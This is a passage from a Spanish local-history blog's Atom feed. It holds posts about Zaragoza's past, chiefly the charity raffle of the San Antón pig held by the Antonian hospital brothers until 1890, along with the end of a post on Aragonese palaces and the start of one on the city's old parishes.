&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWJI3EDGkZSrGyJ7tvr5Nb8qyf8y9rHTg144ey271GSH5SxovMHZ5XuRGlkFJcU9No8ioKRTzFTrJzwPaymCCqerw-7hMqDzRSBRqbxzM7ZWHOgtPcHfS2HfIcq3h3C-r0-G2xSLtzYnaO/s1600/audiencia.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;744&quot; data-original-width=&quot;1024&quot; height=&quot;464&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWJI3EDGkZSrGyJ7tvr5Nb8qyf8y9rHTg144ey271GSH5SxovMHZ5XuRGlkFJcU9No8ioKRTzFTrJzwPaymCCqerw-7hMqDzRSBRqbxzM7ZWHOgtPcHfS2HfIcq3h3C-r0-G2xSLtzYnaO/s640/audiencia.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;/span&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;La
madera empleada, sin embargo, se traía directamente del Pirineo por los
afluentes del Ebro hasta llegar a Zaragoza o bien en carros desde otros puntos.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;line-height: 115%;&quot;&gt;&lt;span style=&quot;font-size: xx-normal;&quot;&gt;Finalmente,
a pesar de estar acostumbrados a ver estas casas-palacio con el ladrillo a cara
vista, lo normal era dar sobre él una capa de yeso.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;h2 style=&quot;text-align: right;&quot;&gt;&lt;span style=&quot;font-normal: &amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif; font-size: small;&quot;&gt;&lt;span style=&quot;font-size: normal;&quot;&gt;&lt;i&gt;María José Germán&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;strike&gt;&lt;/strike&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/6495816039719645117/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/01/sabias-que_19.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/6495816039719645117'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/6495816039719645117'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/01/sabias-que_19.html' title='Palacios aragoneses'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5JHuz0K-At8ThbPR98gK5uf8Buz9fKqPDuS_E-tY6hHPa2snY0XE15A85RoeiZXIFzMen7AkByENOkfpyMnPbGIf7I3UoPfvVGhVXdAbwKtd3BajJRo90bXUc2s_UAEjPaje89VPaQgj/s72-c/Zaragoza_-_Museo_Pablo_Gargallo.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-4221556698872184056</id><published>2020-01-18T19:35:00.004+01:00</published><updated>2020-11-07T19:39:57.625+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="TRADICIONES"/><title type='text'>El cerdo de San Antón</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;b&gt;


¿Sabías que ... en Zaragoza se rifaba un cerdo el día de San Antón?&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsXWWYzDyq_Z4SBJi-z0ItnqfrgtqgpklZ96f3ZkWdupKUQhQuu1KkzA0WF7kZWLGhqxsFJjf_mN1Z51mKu0fWWqaqESHkkhh_QmrUfbULzdugaou1DuqiFjUI1fU6seY7TwrApS9hVTyh/s1600/cerdo+de+san+anton.jpg&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;342&quot; data-original-width=&quot;513&quot; height=&quot;212&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsXWWYzDyq_Z4SBJi-z0ItnqfrgtqgpklZ96f3ZkWdupKUQhQuu1KkzA0WF7kZWLGhqxsFJjf_mN1Z51mKu0fWWqaqESHkkhh_QmrUfbULzdugaou1DuqiFjUI1fU6seY7TwrApS9hVTyh/s320/cerdo+de+san+anton.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Las celebraciones
ligadas al día de san Antón, 17 de enero, siempre me interesaron, me parecen
muy curiosas e interesantes, hogueras por todo el país, bendiciones para los
animales domésticos, multitud de refranes…&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Todo ello hunde sus raíces en
tiempos lejanos, quizá tan lejanos que tengan que ver algo con lo pagano, con el
hecho de que los días ya van creciendo…&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Escultura del cerdo de San Antón&amp;nbsp; (Espesante, La Coruña)&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;span style=&quot;font-weight: 400;&quot;&gt;&lt;/span&gt;&lt;div style=&quot;-webkit-text-stroke-width: 0px; font-size: 16px; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400;&quot;&gt;&lt;/div&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-weight: 400;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;-webkit-text-stroke-width: 0px; color: black; font-family: &amp;quot;Times New Roman&amp;quot;; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: justify; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; margin: 0px;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Pero hoy no vamos a hablar
de hogueras, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;vamos a hablar de cerdos&lt;/b&gt;,
de una historia tan curiosa como poco conocida. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Nuestro padre nos relataba
que su abuela le contaba que antaño, el día de San Antón, se rifaba un cerdo
entre los zaragozanos, animal que previamente había sido paseado, por toda la
ciudad en un carro para que todos lo vieran y se animaran a participar en la
rifa del animal comprando boletos para el sorteo del mismo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Pero, ¿Cuál fue el
origen de la rifa y su finalidad? &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;La orden de los
Hermanos Hospitalarios de San Antonio, estaba dedicada al cuidado de los
enfermos, en nuestra ciudad el convento-hospital era de fundación muy antigua,
seguramente del s. XII y estaba situado junto a la puerta romana de Toledo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;A lo largo de los
siglos, &amp;nbsp;los &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Antonianos&lt;/i&gt; se dedicaron al cuidado de los enfermos pero en 1777 el
papa Pio VI unió esta congregación a la Orden de Malta, desapareciendo
definitivamente en España en 1791 por orden del mismo papa Pío VI. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Desde ese momento, los
religiosos del convento zaragozano quedaron sin los recursos necesarios para
poder atender a los enfermos por lo que hicieron colectas e idearon la rifa
anual de un cerdo para obtener el dinero necesario.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT7eJZqSvxMa_visQKuQVC7dZUHoESyrWK_8lXK25xHSewA__f6N-Pu9wG3tHKtCs4R7IaIMpoSt8Py083nbjHmCHVIkSfZBq50dCExr-c0uOhBAWe8-7uvsxvOb5T8xCsriXE22rDBUu4/s1600/San+Ant%25C3%25B3n+planos.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;400&quot; data-original-width=&quot;780&quot; height=&quot;328&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhT7eJZqSvxMa_visQKuQVC7dZUHoESyrWK_8lXK25xHSewA__f6N-Pu9wG3tHKtCs4R7IaIMpoSt8Py083nbjHmCHVIkSfZBq50dCExr-c0uOhBAWe8-7uvsxvOb5T8xCsriXE22rDBUu4/s640/San+Ant%25C3%25B3n+planos.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Victor Azagra en su
libro &lt;u&gt;Cosas nuevas de la Zaragoza vieja&lt;/u&gt; recoge estos curiosos hechos y nos
habla de cómo el cerdo en cuestión campaba a sus anchas todo el día por el
barrio de San Pablo y la zona del mercado.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;¿Se imaginan el
espectáculo? Un cerdo recorriendo la ciudad a su libre albedrío, entrando por
cualquier rincón y comiendo cualquier cosa que encontraba. Esto era así para
que fuera alimentado por los vecinos que le obsequiaban diariamente con todo tipo
de desperdicios por lo que el animal ganaba de día en día abundante peso. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Para poder ser
identificado iba provisto de una campana al cuello, que a la par alertaba de su
presencia. Nadie osaba apoderarse de él ni hacerle ningún daño, era una especie
de ley no escrita, había que dejarlo a sus anchas pues estaba destinado al
sorteo y todos soñaban con hacerse con tan preciado regalo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Relata Azagra que el
cerdo llevaba tan regalada vida que los jornaleros del campo solían decir:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;“Más vale ser tocino de San
Antón , que criado de labrador”&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Pero llegado el 28 de
diciembre las cosas cambiaban, el cerdo se había convertido ya en un animal
grande, gordo, lustroso y apetecible y dentro de una jaula de madera, colocada
sobre un carro del que tiraba un burro de lento avanzar, era exhibido por las
calles de Zaragoza a toque de campana, anunciando la venta de los boletos para
el sorteo.&amp;nbsp; Y como la necesidad rondaba
la vida de la mayoría de los ciudadanos, éstos siempre que podían, reunían
algún dinerillo para probar suerte.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;El sorteo se
celebraba l 17 de enero, festividad de San Antón, el santo patrón de los
Antonianos, en la puerta del convento que daba a la plaza del mismo nombre. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Era todo un
acontecimiento ciudadano y generalmente, como la persona agraciada no solía
tener lugar y medios para la matacía, el cerdo era vendido a un carnicero, por
cuya venta obtenía una buena suma, pues la carne del animal era muy buscada por
quienes podían comprarla. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;El dinero recaudado en
la rifa era importante y por eso se mantuvo a pesar del paso del tiempo y de la
desaparición total de los religiosos antonianos,&amp;nbsp; pasando a depender del Hospital de Nuestra
Señora de Gracia con la misma finalidad, prolongándose &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;“el sorteo del cerdo de San Antón”&lt;/b&gt; &amp;nbsp;hasta 1890, fecha en la que fue promulgada una
ley que prohibía las rifas.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span lang=&quot;ES&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;Hoy es sólo un
recuerdo, un lejano recuerdo ya prácticamente olvidado,&amp;nbsp; casi imposible de imaginar, en los últimos
cien años la vida y la ciudad han cambiado tanto…&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;i&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Rosa M. Germán&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;&lt;u&gt;&lt;/u&gt;&lt;sub&gt;&lt;/sub&gt;&lt;sup&gt;&lt;/sup&gt;&lt;strike&gt;&lt;/strike&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/4221556698872184056/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/01/sabias-que.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/4221556698872184056'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/4221556698872184056'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/01/sabias-que.html' title='El cerdo de San Antón'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsXWWYzDyq_Z4SBJi-z0ItnqfrgtqgpklZ96f3ZkWdupKUQhQuu1KkzA0WF7kZWLGhqxsFJjf_mN1Z51mKu0fWWqaqESHkkhh_QmrUfbULzdugaou1DuqiFjUI1fU6seY7TwrApS9hVTyh/s72-c/cerdo+de+san+anton.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-7828013983857031071</id><published>2019-11-18T13:55:00.007+01:00</published><updated>2020-11-07T19:40:14.790+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD MEDIA"/><category scheme="http://www.blogger.com/atom/ns#" term="HISTORIA"/><category scheme="http://www.blogger.com/atom/ns#" term="URBANISMO"/><title type='text'>Los barrios o parroquias de la antigua Zaragoza</title><content type='html'>&lt;h3 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;i&gt;¿Sabías que...&lt;span style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;las parroquias&lt;/span&gt;&lt;span style=&quot;mso-bidi-font-weight: normal; text-align: justify;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;que en principio sólo tenían finalidad religiosa,&lt;/span&gt;&lt;span style=&quot;mso-bidi-font-weight: normal; text-align: justify;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;text-align: justify;&quot;&gt;surgieron como unidades políticas y económicas?&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo_rAqU3AqDSPKGBDSvDxPfvRUoRcKeGCsCmtl_stIUJCk907lIPEY-x_oT3mb_XvDQbd1b74JEyqP6n9aIYtRPA95UTyamcqU91AsRqeXf6-_1oXgYc37vAtgqAvt-a8aUoxwkSPnCCCI/s1600/La-Magdalena+2.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo_rAqU3AqDSPKGBDSvDxPfvRUoRcKeGCsCmtl_stIUJCk907lIPEY-x_oT3mb_XvDQbd1b74JEyqP6n9aIYtRPA95UTyamcqU91AsRqeXf6-_1oXgYc37vAtgqAvt-a8aUoxwkSPnCCCI/s1600/La-Magdalena+2.jpg&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
